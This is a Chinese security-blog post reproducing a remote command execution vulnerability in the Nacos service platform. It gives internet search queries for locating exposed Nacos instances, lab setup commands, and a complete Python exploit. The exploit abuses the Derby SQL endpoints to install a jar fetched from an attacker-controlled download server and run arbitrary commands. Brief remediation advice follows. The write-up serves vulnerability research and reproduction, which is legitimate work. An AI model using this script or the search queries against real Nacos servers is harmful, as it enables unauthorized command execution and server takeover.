Nacos 服务管理平台 RCE

admin 2024年7月17日11:09:17评论42 views字数 3038阅读10分7秒阅读模式
0x01 免责声明
disclaimer

请勿利用文章内的相关技术从事非法测试

0x02 漏洞介绍
Vulnerability introduction
    Nacos 是一个开源的、易于使用的动态服务发现、配置和服务管理平台,用于构建云原生应用。它提供了一套简单易用的特性集,用于服务发现和服务健康监测,以及动态配置服务、服务元数据和流量管理。

Nacos微服务平台存在命令执行漏洞,当未开启鉴权或者攻击者获得鉴权信息,可以通过漏洞执行任意命令从而获取服务器权限,可能导致内网进一步被攻击。

0x03 搜索语法
Search for syntax
  • Fofa:
app="NACOS"
  • Hunter
app.name="Nacos"
  • Quake
app:"阿里巴巴网络技术有限公司Nacos"

Nacos 服务管理平台 RCE

0x04 漏洞复现
Request packets
  • 本地搭建测试环境,使用官方Docker镜像,默认启动版本是2.3.1,可以修改文件夹中的example/.env来制定版本号。
  • 网传都是2.3.2-2.4.0直之间的版本,实测2.3.1可行。
git clone https://github.com/nacos-group/nacos-docker.git
cd nacos-docker
docker-compose -f example/standalone-derby.yaml up -d
Nacos 服务管理平台 RCE
Nacos 服务管理平台 RCE
  • 直接运行默认是不开启鉴权的。
  • 然后我们下载POC(本文使用原作者版本),将它放在云服务器上,修改config.py,可以改成0.0.0.0,运行service.py
公开作者版本:https://github.com/ayoundzw/nacos-poc其它师傅改进版本:https://github.com/FFR66/Nacos_Rce
Nacos 服务管理平台 RCE
  • 然后本地运行POC中的exploit.py,稍微修改一下,不用config中的地址,修改service为你服务器端口IP即可
import random
import sys
import requests
from urllib.parse import urljoin

# 按装订区域中的绿色按钮以运行脚本。
def exploit(target, command, service):
    removal_url = urljoin(target,'/nacos/v1/cs/ops/data/removal')
    derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')
    for i in range(0,sys.maxsize):
        id = ''.join(random.sample('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',8))
        post_sql = """CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)n
        CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')n
        CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'n""".format(id=id,service=service);
        option_sql = "UPDATE ROLES SET ROLE='1' WHERE ROLE='1' AND ROLE=S_EXAMPLE_{id}('{cmd}')n".format(id=id,cmd=command);
        get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(id=id,cmd=command);
        #get_sql = "select * from users /*ROWS FETCH NEXT*/".format(id=id,cmd=command);
        files = {'file': post_sql}
        post_resp = requests.post(url=removal_url,files=files)
        post_json = post_resp.json()
        if post_json.get('message',None) is None and post_json.get('data',None) is not None:
            print(post_resp.text)
            get_resp = requests.get(url=derby_url,params={'sql':get_sql})
            print(get_resp.text)
            break

if __name__ == '__main__':
    service = 'http://your-ip:port/download'
    target = 'http://127.0.0.1:8848'
    command = 'whoami'
    target = input('请输入目录URL,默认:http://127.0.0.1:8848:') or target
    command = input('请输入命令,默认:whoami:') or command
    exploit(target=target, command=command,service=service)
  • 本地运行,成功命令执行
Nacos 服务管理平台 RCE
  • 我们再试试开启鉴权还能不能命令执行,先把刚刚启动的暂停删除
docker-compose -f example/standalone-derby.yaml stop
docker-compose -f example/standalone-derby.yaml rm
  • 修改example/standalone-derby.yaml,加上一行参数。
- NACOS_AUTH_ENABLE=true
Nacos 服务管理平台 RCE
  • 再重新启动容器,再试试POC
docker-compose -f example/standalone-derby.yaml up -d
  • 发现已经不能命令执行了,因为脚本没有写超时,结果就是一直卡住。
    Nacos 服务管理平台 RCE
  • 最后测完记得关闭服务器上的容器和脚本。

    Nacos 服务管理平台 RCE

0x05 nuclei POC
nuclei POC
  • 暂无
0x06 修复建议
Remediation recommendations
  • 设置鉴权信息。
  • 使用非默认derby数据库,例如Mysql。

原文始发于微信公众号(小明信安):【1day | 漏洞复现】Nacos 服务管理平台 RCE

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月17日11:09:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Nacos 服务管理平台 RCEhttps://cn-sec.com/archives/2959224.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息